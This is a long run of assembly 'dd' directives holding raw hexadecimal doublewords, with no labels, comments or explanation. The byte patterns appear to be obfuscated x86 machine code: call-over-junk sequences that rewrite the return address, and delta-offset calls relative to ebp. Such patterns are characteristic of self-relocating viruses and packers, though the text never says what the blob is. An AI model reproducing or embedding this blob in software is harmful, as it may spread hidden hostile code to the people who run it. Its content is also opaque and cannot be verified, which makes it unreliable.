		dd 19042444h, 45000000h, 1AE1C355h, 7E08D19Fh, 330595FFh
		dd 858907A8h, 7A810F5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 6FC35747h, 0E9DB9FC4h, 0Bh, 0E3D5397Fh
		dd 74965C41h, 6A9F8757h, 0B9C281FFh, 0FF42C118h, 0A810F5B5h
		dd 8CFEBF07h, 95FF0075h, 7A8246Dh, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D883DC3h
		dd 15C9267Fh, 836535F9h, 0A827F9BDh, 9750007h, 605BD83h
		dd 740007A8h, 8B535019h, 7D1B8C0h, 85890000h, 7A82585h
		dd 0B0239D8Dh, 0D3FF07AAh, 0BD83585Bh, 7A80605h, 50177400h
		dd 7D1B853h, 85890000h,	7A82585h, 0AD129D8Dh, 0D3FF07AAh
		dd 8B66585Bh, 0C18166FEh, 0C08B1394h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0E6C35646h,	0C968F598h, 1985C617h
		dd 4707A806h, 0AE8h, 5E01300h, 77C081E4h, 8B95AF34h, 0A8006595h
		dd 0C1685A07h, 8093C8F7h, 0B5FF5EDDh, 7A81895h,	5541DA81h
		dd 858D108Ah, 7A83BDFh,	0D0FFD38Bh, 27CD8D2Bh, 95007A8h
		dd 0A805B98Dh, 6C858D07h, 6607AB08h, 0C7D68Bh, 94h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 90C35646h, 2C618D89h
		dd 575807A8h, 2979B589h, 8D5F07A8h, 0AB086CB5h,	16890F07h
		dd 0E9000000h, 11h, 0B62B3C78h,	16A50C35h, 65967F3Dh, 0A6F1E93Fh
		dd 56F5B549h, 3E64EA81h, 0D0FF69B7h, 0BE9h, 0A2095700h
		dd 0ECE68593h, 5A4E8E15h, 86C858Dh, 0BD3307ABh,	7A82CBDh
		dd 6047883h, 21850Fh, 81660000h, 0C7C917D1h, 0AB090085h
		dd 107h, 0BD8D8900h, 0F07A800h,	68Ch, 31858900h, 8307A814h
		dd 0A83565BDh, 850F0007h, 0AEh,	13E9h, 494BB200h, 2C32F777h
		dd 15E3498Fh, 3C00DDBh,	5394F2Bh, 900BD83h, 0F0007ABh
		dd 8985h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 9DB663A2h, 4C9AEF64h, 0BF0F34ABh
		dd 8DBD83FFh, 7A835h, 54840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 7199CCC3h
		dd 8BD0BF0Fh, 0A825BD95h, 0C185C707h, 7A823h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 574AC352h, 0BA66B58Dh, 8C66935Bh,	358589DBh
		dd 0F607A80Bh, 840F04C3h, 555h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 1AC35040h, 7CF4747Dh, 0C79B046Eh
		dd 0A806A585h, 7, 0BD8B5700h, 7A828CDh,	56BD805Fh, 7AB04h
		dd 5850Fh, 7BA0000h, 0C62C2C6Bh, 0A8061985h, 86684707h
		dd 66E3E45Bh, 24D9F181h, 1895B5FFh, 6A07A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0E7B40EC3h
		dd 8DA5F3CFh, 0A83BDF85h, 5D8D2B07h, 0FF07A80Eh, 8B6652D0h
		dd 46859D6h, 57000001h,	5E8h, 0C7DFF100h, 6160DBBCh, 9D8D5A5Ah
		dd 7A82B25h, 53FA8B66h,	2589B529h, 0C58007A8h, 1D0FF2Eh
		dd 0A831E18Dh, 25858D07h, 0E907A82Bh, 9, 5176041Bh, 0E9B68D7h
		dd 50D78BC6h, 31D9B589h, 858D07A8h, 7AB0408h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 26C35242h, 0AF174449h
		dd 818D33DEh, 5007A824h, 30AD958Bh, 858D07A8h, 7AAFADBh
		dd 6800Fh, 9D090000h, 7A80F29h,	0FB8B6650h, 2F4195FFh
		dd 840F07A8h, 3, 83FE8B66h, 85890CC4h, 7A83105h, 0EE1BD8Bh
		dd 6A07A8h, 8068h, 6A036A00h, 68006A00h, 80000000h, 0FADB858Dh
		dd 0FF5007AAh, 0A823F595h, 0EB858907h, 0C607AB03h, 0A8061985h
		dd 87684707h, 0FFC7B15Eh, 0A81895B5h, 0DF858D07h, 0FF07A83Bh
		dd 0FF006AD0h, 0AB03EBB5h, 6AD0FF07h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0C916C352h
		dd 0B06BDF25h, 8166801Bh, 0B1B955C9h, 37D03D91h, 830F0000h
		dd 68h,	8199D09h, 95707A8h, 0A823D995h,	0B5FF5A07h, 7AB03EBh
		dd 34858D8Bh, 8D8B07A8h, 7A82979h, 0B3995FFh, 7EE907A8h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0F32CC353h, 28D0F70h, 0B1000000h
		dd 95896035h, 7A80E21h,	0AE9h, 0E98A8400h, 0DF25C916h
		dd 611BB06Bh, 3EBB5FFh,	6A07ABh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 50B192C3h, 8BF6DE0Ah
		dd 3995FFCBh, 8107A80Bh, 249D4BEAh, 8B006A5Dh, 0A81519BDh
		dd 0ADBD8B07h, 6A07A80Eh, 0E8006A00h, 10h, 0AAF12583h
		dd 9FD08338h, 9CF7D77h,	0BEED93CAh, 7E9h, 6BEC7C00h, 0FEF23BEFh
		dd 0B6006A5Fh, 8D896085h, 7A8257Dh, 0AE8h, 0C01C3300h
		dd 9159938h, 8BF1F0F0h,	0A81969BDh, 6A615F07h, 0F8B70F00h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 69D6C3C3h, 0C9816018h, 786F1A5Ch,	9F1B589h
		dd 0E96107A8h, 13h, 44882EA0h, 0CDEB5C24h, 7A06A29Ah, 0D9C838D9h
		dd 8D76B55Eh, 0AB03EF85h, 95895107h, 7A80EE1h, 0D38B6659h
		dd 57006A50h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8166B796h, 0FF7DF9C7h, 0A823F595h, 7E807h
		dd 0D1700000h, 0FFBD8C3Bh, 0FE85327h, 93000000h, 1CD3F37Dh
		dd 87CAE560h, 6249DC98h, 5A5A72ABh, 0FFF88359h,	119850Fh
		dd 0BF0F0000h, 0A9858DD3h, 3107AABAh, 0A8057595h, 0F8D0FF07h
		dd 0CE9006Ah, 77000000h, 0C1997C75h, 2F7387CBh,	6A4B582Dh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 3C03C34Ah, 8AC8F384h, 0BF0F006Ah, 89006AD2h
		dd 0A82F359Dh, 6A006A07h, 6860F00h, 0F000000h, 81h, 0EF858D00h
		dd 0E807AB03h, 5, 0EB6C86EEh, 87C4B9BDh, 505A7AA0h, 1919BD89h
		dd 95FF07A8h, 7A823F5h,	21D9BD0Bh, 1CB107A8h, 0FFFF883h
		dd 7E85h, 0D7816600h, 0BD2907A9h, 7A81AB1h, 0FDF7B58Dh
		dd 8D8B07AAh, 7A808C5h,	0A9F4858Dh, 6A07AAh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 6B9C0BC3h
		dd 1F19F47Fh, 0D211F781h, 0D0FF6F94h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0F1C35040h,	6D813BF4h, 6A0C1223h
		dd 18D8B00h, 0FF07A828h, 0A80A3D95h, 499D3107h,	8907A82Ah
		dd 0AB03EB85h, 8B526007h, 0A81389B5h, 0FC565E07h, 6A615Fh
		dd 858DD08Bh, 7AB03E3h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0D6C35747h, 0A54D092h, 0B9AD1DBFh, 0B70F5030h
		dd 89046AFBh, 0A817A99Dh, 0C1858D07h, 0B607A825h, 50FCB233h
		dd 0F006AF9h, 0D980FBBFh, 6A006AB3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0B7D9C351h, 64D857EFh, 29F1958Bh,	16A07A8h
		dd 0DE9h, 0D2268600h, 8940DE7h,	0EF5A60ABh, 0B5FFDFB0h
		dd 7AB03EBh, 0C4D8589h,	95FF07A8h, 7A81525h, 5E9h, 32696000h
		dd 952BDAFEh, 7A82395h,	1B61E9h, 99952B00h, 8907A818h
		dd 0A824D595h, 0FC08B07h, 0BD83FABFh, 7A827F9h,	83097500h
		dd 0A80605BDh, 19740007h, 0C08B5350h, 7D2B8h, 85858900h
		dd 8D07A825h, 0AAB0239Dh, 5BD3FF07h, 5BD8358h, 7A806h
		dd 53501774h, 7D2B8h, 85858900h, 8D07A825h, 0AAAD129Dh
		dd 5BD3FF07h, 29852958h, 0F07A827h, 68Fh, 0E9B58900h, 8B07A832h
		dd 8B6653C0h, 85C75FD6h, 7A806A5h, 1, 68FBB70Fh, 0CEE4E7B8h
		dd 379B5FFh, 858D07A8h,	7A83BDFh, 8589D0FFh, 7A83111h
		dd 647858Dh, 8D5007ABh,	0AB090485h, 1685007h, 0FF800000h
		dd 0A8311195h, 75C00B07h, 4185C70Ah, 107A81Eh, 68000000h
		dd 0C005DBD4h, 379B5FFh, 858D07A8h, 7A83BDFh, 8589D0FFh
		dd 7A81D65h, 0F894858Dh, 0FF5007AAh, 0A81895B5h, 6195FF07h
		dd 0B07A821h, 8B0B74C0h, 47858DD8h, 5007AB08h, 858DD3FFh
		dd 7AB0847h, 9388366h, 85C70A75h, 7A8294Dh, 1, 185D95FFh
		dd 0FF2507A8h, 83000000h, 0A7305F8h, 0DFD85C7h,	107A8h
		dd 85010000h, 7A82AB5h,	6E960h,	233A0000h, 98CF0631h, 25ED858Bh
		dd 8B6107A8h, 0A813918Dh, 56BD8007h, 7AB04h, 24840Fh, 8B660000h
		dd 758D09C8h, 8307A826h, 0AB0900BDh, 840F0007h,	18h, 810FF98Bh
		dd 6, 24318589h, 0DFE907A8h, 0BF000019h, 2E03A93Bh, 294DBD83h
		dd 0F0007A8h, 9B85h, 298D8900h,	8D07A833h, 0AB042085h
		dd 0D1B70F07h, 9C78150h, 6A567AA7h, 3BF58001h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 1E904DC3h, 1A719D29h, 6A07A8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 1AC35747h, 330595FFh, 11E907A8h
		dd 6B000000h, 27C437CFh, 7780D209h, 0F2F34674h,	0D5B1D146h
		dd 44A8589h, 0FF6A07ABh, 629BD33h, 0B5FF07A8h, 7AB044Ah
		dd 0FFD38B66h, 0A8246D95h, 0AFE18007h, 0F85B858Dh, 62BA07AAh
		dd 503F3892h, 8E9h, 0A77BBA00h,	0C7C1FDB7h, 0B595FFBEh
		dd 6A07A818h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0B295C353h, 0E58589BBh, 6A07AAF8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 3144C352h, 0DF7060E1h, 82EA8166h,	68858DD8h
		dd 5007AAF8h, 10ADBD8Bh, 0B5FF07A8h, 7AAF8E5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FCC35242h, 81CDB06Dh
		dd 216195FFh, 0BD8B07A8h, 7A83075h, 25A58589h, 6A07A8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0BF4678C3h, 3BBAA41Eh, 8D4D4D15h, 0AAF8D685h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 20497A16h, 863241E1h, 18D31B8h, 5007A82Bh, 0FE9h, 207CA600h
		dd 0AEC3479Ah, 745B2D98h, 8FB14B5Ah, 0F8E5B5FFh, 3AB107AAh
		dd 216195FFh, 666007A8h, 9B93C381h, 0E43A8BBEh,	85896143h
		dd 7AAF8F9h, 7FFDBA66h,	0F8B5858Dh, 12E907AAh, 0BF000000h
		dd 8AEC0D4Fh, 0C500B961h, 8426E09Eh, 0D0F20DCDh, 890F5074h
		dd 0
		dd 0F8E5B5FFh, 12E807AAh, 0E6000000h, 3FBD4C34h, 0DBDDBCF1h
		dd 8C81F875h, 5C492EE3h, 6880F1Eh, 8B000000h, 0A814FD8Dh
		dd 95FF5A07h, 7A82161h,	0F8A0Fh, 0AE90000h, 0F2000000h
		dd 0F0116048h, 5EA9CDE8h, 0F1858985h, 0E907AAF8h, 7, 39084239h
		dd 8DB3CE98h, 0AAF8A885h, 14E907h, 0BE380000h, 51F969A9h
		dd 0F707DDD0h, 42DBB4C2h, 0A438C5E2h, 8589F3B3h, 7A81CF5h
		dd 2BD98150h, 0FF0D20D3h, 0AAF8E5B5h, 0E9605007h, 0Ah
		dd 91CFF529h, 0E4979CF7h, 0B70FCB4Bh, 0FF5A61C3h, 0A8216195h
		dd 198D8907h, 8907A800h, 0AAF8F585h, 18E0F07h, 0F5000000h
		dd 0F8C3858Dh, 8D8B07AAh, 7A82E21h, 0B5FFFC50h,	7AAF8E5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 92C35545h
		dd 38D0F13h, 80000000h,	95FFD1C9h, 7A82161h, 5C5BD89h
		dd 858907A8h, 7A804BDh,	15198589h, 858D07A8h, 7AAF877h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 39C35545h
		dd 2A834A17h, 0EAF73F13h, 6840FE5h, 89000000h, 0A80F45B5h
		dd 958B5007h, 7A82AB9h,	0F8E5B5FFh, 816607AAh, 0FF503CC1h
		dd 0A8216195h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 85893FB5h, 7AAF8E9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CCC35747h, 81FE7DB4h
		dd 0A0CF93D2h, 86858D27h, 0F07AAF8h, 8150FFBFh,	0A43879EFh
		dd 0E5B5FF09h, 8B07AAF8h, 0A8187195h, 6195FF07h, 5607A821h
		dd 0FE8h, 0A8BBE600h, 298D23F6h, 3D6C60CDh, 0D863ACCDh
		dd 895959FCh, 0AAF8ED85h, 0B1850107h, 6807A814h, 104h
		dd 833933BAh, 7D858D1Fh, 0F507AAF9h, 0B800Fh, 6E90000h
		dd 2C000000h, 0B97A994h, 8B665057h, 81858DFBh, 6A07AAFAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 543DC350h, 48D8BF66h, 51006A50h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0E3673F83h
		dd 33E25FB9h, 6195FF0Ch, 8507A81Ah, 6850FC0h, 89000000h
		dd 0A80F6195h, 56BD8007h, 7AB04h, 10850Fh, 6B90000h, 0E93B34F5h
		dd 154Eh, 2A7D9D89h, 0BD8307A8h, 7A8294Dh, 19850F00h, 31000000h
		dd 0A8075985h, 0BD8307h, 7AB09h, 6B840Fh, 958B0000h, 7A80A31h
		dd 0F91A858Dh, 6A07AAh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8B6607C3h, 25958BF8h, 0E907A81Eh
		dd 14F2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	3BC35646h, 0C1284E6Ch, 8BB84F44h, 14E9D0h, 6E90000h
		dd 5F000000h, 5192D1E9h, 5858DBBh, 5007AAF9h, 0E85059FCh
		dd 0Dh,	0CFB9A621h, 3405B095h, 0DC5E8EA5h, 5830F57h, 0BF000000h
		dd 3CE202E6h, 198D8959h, 8D07A819h, 0AAF97D85h,	79950307h
		dd 6007A818h, 8375EB81h, 8B661359h, 665061FAh, 8324AFB9h
		dd 0A8294DBDh, 840F0007h, 48h, 68C0Fh, 0DA810000h, 5FE1B10Ch
		dd 0FAA3858Dh, 0EF8107AAh, 69E35E5h, 3AE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 6A2BA051h, 8D0F8282h, 4, 59CE8B57h, 0FA8C858Dh, 8D3107AAh
		dd 7A81425h, 5059DE80h,	2135BD0Bh, 858D07A8h, 7AAFADBh
		dd 0A8B6C0BFh, 0E9815006h, 6C595B53h, 2F4195FFh, 0AE807A8h
		dd 0EB000000h, 0C0761524h, 16F73B12h, 3D8D0B5Fh, 5907A826h
		dd 8110C483h, 61C71EE1h, 8BE2B63Fh, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F4DB5642h
		dd 6C724615h, 0BD835B37h, 7A827F9h, 83097500h, 0A80605BDh
		dd 19740007h, 0C08B5350h, 7D3B8h, 85858900h, 8D07A825h
		dd 0AAB0239Dh, 5BD3FF07h, 5BD8358h, 7A806h, 53501774h
		dd 7D3B8h, 85858900h, 8D07A825h, 0AAAD129Dh, 5BD3FF07h
		dd 0B5895358h, 7A81B19h, 399D895Ah, 8107A82Dh, 627185F1h
		dd 2D850123h, 8B07A804h, 0CBBF0FC0h, 0F905BD81h, 726F07AAh
		dd 840F6165h, 0A9h, 0DE8h, 9978FF00h, 524743D5h, 0A4D2A550h
		dd 81667C4Dh, 5FCD14E2h, 0F97D858Dh, 8D5007AAh,	0AAFABA85h
		dd 858D5007h, 7AAFADBh,	4195FF50h, 8307A82Fh, 85C60CC4h
		dd 7A80619h, 184F6844h,	0B5FF96A3h, 7A81895h, 3BDF858Dh
		dd 0D0FF07A8h, 858DD88Bh, 7AAFADBh, 8DD3FF50h, 0AAF90585h
		dd 858D5007h, 7AAF97Dh,	4DBD8350h, 7A829h, 858D0874h, 7AAFAA3h
		dd 858D06EBh, 7AAFA8Ch,	0DB858D50h, 5007AAFAh, 2F4195FFh
		dd 0C48307A8h, 7E910h, 7C3F0000h, 9FBB0B8Bh, 6800F48h
		dd 52000000h, 5EECBF66h, 5D95FF59h, 2507A818h, 0FFh, 24F98D23h
		dd 0F88307A8h, 56830F05h, 89000000h, 0A817F195h, 0FD85C707h
		dd 107A80Dh, 8B000000h,	0A80F398Dh, 39858D07h, 5707AAF9h
		dd 0C7F18166h, 0A6E95A3Eh, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D7CC350h
		dd 0F86A3CBh, 6E92852h,	0F1000000h, 9028676Eh, 4DBD83E3h
		dd 7A829h, 36840Fh, 0CE8B0000h,	14E9h, 7B848400h, 9FA49419h
		dd 0E9F098FBh, 20FC8D7Ch, 2C30881Ah, 64858D05h,	8007AAF9h
		dd 6660F7EAh, 0FCFCAEBBh, 3BE961h, 8D890000h, 7A80C5Dh
		dd 0F946858Dh, 6A07AAh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E9FF9CC3h, 0Dh,	53640142h, 0D79868AEh
		dd 0E3569A99h, 79858978h, 8907AAF9h, 0A8279DBDh, 4DBD8307h
		dd 7A829h, 16850Fh, 8B660000h, 0BD83CAh, 7AB09h, 11840Fh
		dd 95310000h, 7A82CE9h,	1169E9h, 618D2900h, 0E907A835h
		dd 441h, 1E9EDCBAh, 8BC08B38h, 0A81C1595h, 0F9BD8307h
		dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
		dd 7D4h, 25858589h, 9D8D07A8h, 7AAB023h, 585BD3FFh, 605BD83h
		dd 740007A8h, 0B8535017h, 7D4h,	25858589h, 9D8D07A8h, 7AAAD12h
		dd 585BD3FFh, 0DA4A1ABAh, 51006A51h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0DA4FF69Ch
		dd 0B595A243h, 0A7DF81FBh, 8B02537Eh, 8A0F60C0h, 6, 800Fh
		dd 830F0000h, 0
		dd 3F6861h, 0B589000Fh,	7A82249h, 12E9h, 0E6BB4400h, 90628C4Ah
		dd 630227Dh, 65021598h,	6AC4D1E3h, 8830F00h, 51000000h
		dd 34D5BD89h, 6A5907A8h, 0CDBD3100h, 0FF07A803h, 0A825A595h
		dd 9BD8B07h, 8507A815h,	16850FC0h, 60000000h, 96C18160h
		dd 8906F21Dh, 0A80E9995h, 8D8B6107h, 7A827BDh, 0FD858961h
		dd 0F07AAF8h, 6AD3BFh, 0CA7747BFh, 6A006A67h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 7F5EC352h, 0B589006Ah, 7A82A2Dh, 19059529h, 6A07A8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 25C35545h
		dd 0A7078D69h, 10E843h,	8CD10000h, 3DB767D3h, 8D640B96h
		dd 6ACE9154h, 8B50D297h, 8A5A5AD1h, 0B6006AE8h,	0DB858D2Dh
		dd 6A07AAFAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 9A58C357h, 0F54CECCFh,	0B5895094h
		dd 7A8009Dh, 6ACEB70Fh,	0D2BA6601h, 3016A4Eh, 0A8045DBDh
		dd 8B016A07h, 1830FD0h,	0FC000000h, 0F01FF68h, 8830F00h
		dd 0F000000h, 28Ch, 83EF8A00h, 0A8294DBDh, 840F0007h, 3Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 79C35343h
		dd 0C0999D9Dh, 8BF7161Fh, 5F18166h, 5A858DA2h, 0B507AAF9h
		dd 1CE94Bh, 66530000h, 8B59D38Bh, 30858DCEh, 5207AAF9h
		dd 18F18166h, 8A0F5F0Eh, 2, 8950F7B2h, 0A822ADB5h, 6A5007h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 7CC1F0C3h, 0F5561425h, 8D011CE6h, 7A81B35h, 58C0Fh
		dd 5DB90000h, 0FF3C3452h, 0AAF8FDB5h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0B30DF4D3h, 9C631EB9h, 0E995FF78h, 8B07AAF8h, 0A8092995h
		dd 0FC08507h, 3485h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0C0CD8996h, 0B28E71C3h
		dd 5298589h, 45E907A8h,	89000000h, 0A82FA5BDh, 1858907h
		dd 0B07AAF9h, 0A829F1BDh, 35F28107h, 0FF164C55h, 0AAF901B5h
		dd 0D1B70F07h, 4BD95FFh, 0B16007A8h, 6EE78108h,	61352799h
		dd 850FC085h, 0Ch, 7E9h, 36AC2A00h, 259CAD61h, 6FBF106Ah
		dd 8304721Bh, 0A8294DBDh, 840F0007h, 33h, 2365958Bh, 858D07A8h
		dd 7AAF95Ah, 2DE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8B663AF1h, 8DD08ACBh
		dd 0AAF93085h, 0CA816607h, 8B50FE4Bh, 0FDB5FFCEh, 0B07AAF8h
		dd 0A8089D95h, 0F595FF07h, 8507AAF8h, 5850FC0h,	8B000000h
		dd 0B5DD80FBh, 0F9018589h, 816607AAh, 6AE500DFh, 0F9BF0F00h
		dd 60006AF5h, 658DE981h, 8B56123Ch, 0A80CF5BDh,	0FF615B07h
		dd 0AAF901B5h, 0DA816607h, 95FFE2E6h, 7AAF8EDh,	1D0DBD8Bh
		dd 0C08507A8h, 0C850Fh,	880F0000h, 6, 861BD8Bh,	0B5FF07A8h
		dd 7AAF901h, 601CC680h,	1BD5B529h, 11E807A8h, 0A6000000h
		dd 859DF1CEh, 6D96080h,	9DFC98A7h, 0DBBD9022h, 615F6160h
		dd 4BD95FFh, 0AE907A8h,	0C5000000h, 3D0CAD91h, 7CB7A0ADh
		dd 0D858943h, 8507A829h, 6850FC0h, 9000000h, 0A8248185h
		dd 66006A07h, 68174FBFh, 80h, 0C698EF81h, 36A4B6Dh, 0D3B70F50h
		dd 89006A5Ah, 0A81CD18Dh, 8B006A07h, 68D6h, 3357C000h
		dd 0A834A5BDh, 0B5FF5A07h, 7AAF979h, 0BE9h, 41238A00h
		dd 2535B99Ch, 74E5A2B3h, 23F595FFh, 0BD0B07A8h,	7A81E1Dh
		dd 0C9816651h, 835989EFh, 850FFFF8h, 581h, 0FFD18B66h
		dd 0AB03E785h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 25BC19D3h, 3C8A4954h
		dd 6850FDDh, 89000000h,	0A80D259Dh, 8DBD8B07h, 8307A82Ah
		dd 0AB03E7BDh, 840F0207h, 405h,	8DD7BF0Fh, 5B243B85h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0CA761FE0h, 0B8FA96CAh, 0FDCB8060h, 14E9h, 0C389F400h
		dd 14FAFAC8h, 5F73B7BDh, 0FA7FB11Bh, 0FCEDCA7h,	45BF610Ah
		dd 0FF5DDE19h, 5E8D0h, 0BBCC0000h, 0B994B12Eh, 79B5B065h
		dd 8E858D59h, 6A005B1Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 83EBC350h, 23D0FF95h
		dd 0A81C85BDh, 7DBD8B07h, 8B07A813h, 52006AC0h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 66B966B5h
		dd 0F9BD837Dh, 7A827h, 0BD830975h, 7A80605h, 50197400h
		dd 0B8C08B53h, 7D8h, 25858589h,	9D8D07A8h, 7AAB023h, 585BD3FFh
		dd 605BD83h, 740007A8h,	0B8535017h, 7D8h, 25858589h, 9D8D07A8h
		dd 7AAAD12h, 585BD3FFh,	4140B966h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 84C35747h, 0BD8B4F03h, 7A80CC1h
		dd 952BC08Bh, 7A82359h,	0F003F68h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0A7ECD80Fh
		dd 6A607D6Eh, 0D5BD8900h, 6A07A814h, 0FAB70F00h, 25A595FFh
		dd 8D3307A8h, 7A80861h,	6AC085h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 2C6653C3h, 0B9668EE3h
		dd 858995ACh, 7AAF8FDh,	0F01FF68h, 0D78B6600h, 294DBD83h
		dd 0F0007A8h, 1984h, 9126B900h,	858D51B2h, 7AAF95Ah, 0E9F9B70Fh
		dd 0Fh,	6218531h, 858D07A8h, 7AAF930h, 50FBB70Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 55C35545h, 0FDB5FFC4h
		dd 8B07AAF8h, 0A80A8995h, 0F595FF07h, 0F07AAF8h, 8589CFB7h
		dd 7AAF901h, 2B19BD29h,	85C707A8h, 7A828EDh, 0
		dd 0F818589h, 0BD8307A8h, 7AAF901h, 0B9840F00h,	0F000001h
		dd 88Ah, 95035200h, 7A83321h, 0DF858D5Ah, 6007AAFBh, 2B1D958Bh
		dd 0C18B07A8h, 66565061h, 6A5AF98Bh, 8D8B5001h,	7A81349h
		dd 1B5FF5Ah, 8B07AAF9h,	0A83589BDh, 0F995FF07h,	6A07AAF8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0F59EC350h, 0E8F1509Eh, 0Ah, 7111E325h, 0F10CA10Ch
		dd 8B60C293h, 615E50D6h, 6860F5Ah, 31000000h, 0A82CD1BDh
		dd 0EF816607h, 0B5FFD677h, 7AAF901h, 0AA9BD03h,	95FF07A8h
		dd 7A804BDh, 1B96657h, 0FF6859F0h, 89000F01h, 0A826858Dh
		dd 0ED8D2907h, 8307A817h, 0A8294DBDh, 840F0007h, 40h, 91952960h
		dd 6607A807h, 6105D4B8h, 5AF78A57h, 0F95A858Dh,	6A07AAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0B0FD34C3h, 0E9A83BBDh, 0Dh,	167BB966h, 0F930858Dh
		dd 0B70F07AAh, 8F0F50FAh, 6, 1B7D9D89h,	0B5FF07A8h, 7AAF8FDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1EC35242h
		dd 0D01DF5C7h, 95FF4269h, 7AAF8F5h, 68C0Fh, 0C2810000h
		dd 50F48ECAh, 0F9018589h, 13E907AAh, 0A2000000h, 0C2CAFEA2h
		dd 0F35D6709h, 1F18C233h, 0E4D73DFEh, 0B5FF338Bh, 7AAF901h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C0C35242h
		dd 16F73B12h, 8166845Fh, 0FFF943DFh, 0AAF8F195h, 0FFBF0F07h
		dd 1B5FFF5h, 2907AAF9h,	0A81E3185h, 0BD95FF07h,	6607A804h
		dd 0C9D5C181h, 0FFF728E9h, 0C880FFFh, 0F000000h, 689h
		dd 4DB52900h, 8907A813h, 0A8091D8Dh, 4AB5FF07h,	2907AB04h
		dd 0A8176585h, 9995FF07h, 2B07A81Ah, 0A82FC98Dh, 29858B07h
